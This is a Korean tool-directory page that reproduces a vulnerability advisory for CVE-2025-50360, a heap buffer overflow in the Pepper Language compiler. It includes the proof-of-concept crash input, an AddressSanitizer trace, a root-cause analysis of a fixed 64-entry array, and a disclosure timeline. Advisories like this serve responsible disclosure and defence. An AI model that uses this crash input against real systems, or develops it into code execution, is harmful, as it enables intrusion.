Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-50360 — Pepper Language 버전 0.1.1 이전(커밋 961a5d9988c5986d563310275adad3fd181b2bb7)의 Heap Buffer Overflow 보고서 및 PoC | Kitploit
도구/GitHubGitHub/ch1keen/cve-2025-50360
Static AnalysisVulnerability AnalysisCode AnalysisExploitationFuzzingBinary Exploitation
GitHubch1keen/cve-2025-50360

CVE-2025-50360

Pepper Language 버전 0.1.1 이전(커밋 961a5d9988c5986d563310275adad3fd181b2bb7)의 Heap Buffer Overflow 보고서 및 PoC

저장소 보기
41년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Pepper 언어의 힙 버퍼 오버플로우

Pepper Language는 간결함과 장황함을 위해 설계된 빠른 인터프리터 프로그래밍 언어입니다. 동적 타입이며 가비지 컬렉션을 지원합니다.

  • 영향을 받는 버전: 버전 0.1.1 및 이전, 커밋 961a5d9988c5986d563310275adad3fd181b2bb7 및 이전.
  • 상태: 수정되지 않음; 2024년 2월 15일 이후 업데이트 없음.

재현 방법 (PoC)

다음과 같이 열에 65개 이상의 숫자가 있는 파일을 생성합니다. 예를 들어,

root@kitploit:~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

이 파일은 컴파일된 pepper 언어 컴파일러 pepper를 충돌시킵니다. 아래는 AddressSanitizer로 인한 충돌 결과입니다.

root@kitploit:~
=================================================================
==319391==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000980 at pc 0x5d0c243bf4f5 bp 0x7fff8342bf10 sp 0x7fff8342bf08
WRITE of size 4 at 0x619000000980 thread T0
    #0 0x5d0c243bf4f4 in add_constant /home/ch1keen/fuzz/pepper-lang/src/compiler.c:91:50
    #1 0x5d0c243bf4f4 in compile_expression /home/ch1keen/fuzz/pepper-lang/src/compiler.c:445:45
    #2 0x5d0c243bc551 in compile_statement /home/ch1keen/fuzz/pepper-lang/src/compiler.c:212:19
    #3 0x5d0c243bc28d in compile_program /home/ch1keen/fuzz/pepper-lang/src/compiler.c:180:15
    #4 0x5d0c243a82dc in run_script /home/ch1keen/fuzz/pepper-lang/src/pepper.c:129:12
    #5 0x5d0c243a82dc in main /home/ch1keen/fuzz/pepper-lang/src/pepper.c:161:9
    #6 0x768a81e2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #7 0x768a81e2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #8 0x5d0c242e8434 in _start (/home/ch1keen/fuzz/pepper-lang/bin/pepper+0x29434) (BuildId: b8341ebeb041c31389178ec76172705c296f6f5d)

0x619000000980 is located 0 bytes to the right of 1024-byte region [0x619000000580,0x619000000980)
allocated by thread T0 here:
    #0 0x5d0c2436be42 in __interceptor_malloc (/home/ch1keen/fuzz/pepper-lang/bin/pepper+0xace42) (BuildId: b8341ebeb041c31389178ec76172705c296f6f5d)
    #1 0x5d0c243c39fb in make_object_list /home/ch1keen/fuzz/pepper-lang/src/object.c:187:37
    #2 0x5d0c243b945d in compiler_new /home/ch1keen/fuzz/pepper-lang/src/compiler.c:37:20
    #3 0x5d0c243a82ce in run_script /home/ch1keen/fuzz/pepper-lang/src/pepper.c:128:30
    #4 0x5d0c243a82ce in main /home/ch1keen/fuzz/pepper-lang/src/pepper.c:161:9
    #5 0x768a81e2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x768a81e2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x5d0c242e8434 in _start (/home/ch1keen/fuzz/pepper-lang/bin/pepper+0x29434) (BuildId: b8341ebeb041c31389178ec76172705c296f6f5d)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ch1keen/fuzz/pepper-lang/src/compiler.c:91:50 in add_constant
Shadow bytes around the buggy address:
  0x0c327fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c327fff8130:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==319391==ABORTING

근본 원인

컴파일러 구조체에는 scopes 변수가 있으며, 64개의 compiler_scope 구조체를 저장할 수 있는 고정 크기 배열을 가지고 있습니다.

root@kitploit:~
// src/compiler.h
struct compiler {
    struct object_list *constants;
    struct symbol_table *symbol_table;
    uint32_t scope_index;
    struct compiler_scope scopes[64];
};

PoC 파일이 컴파일러에 전달되면 파일이 먼저 어휘 분석 및 구문 분석됩니다. 각 상수는 compiler_scope 타입 변수로 변환됩니다. 그러나 compiler 구조체는 최대 64개의 compiler_scope만 저장할 수 있으므로, 파일에 65개 이상의 compiler_scope가 있으면 힙 버퍼 오버플로우가 발생합니다.

참고: 유지보수자가 보안 관련 이메일에 응답하지 않았으며 — 타임라인 참조 — pepper 언어 저장소의 이슈 탭이 닫혀 있어 확인할 수 없습니다.

영향

힙 버퍼 오버플로우를 통해 공격자는 다른 힙 객체의 내용(pepper의 다른 상수 내용이 될 수 있음)을 수정할 수 있을 뿐만 아니라, 프로그램이 임의의 코드를 실행하도록 할 수 있습니다.

공개 타임라인

  • 2025.04.26: 유지보수자([email protected])에게 취약점 보고서 전송.
  • 2025.04.26: MITRE에 보고.
  • 2025.07.25: 공개 공개.
  • 2025.08.13: MITRE가 CVE-2025-50360을 할당함.
도구 다운로드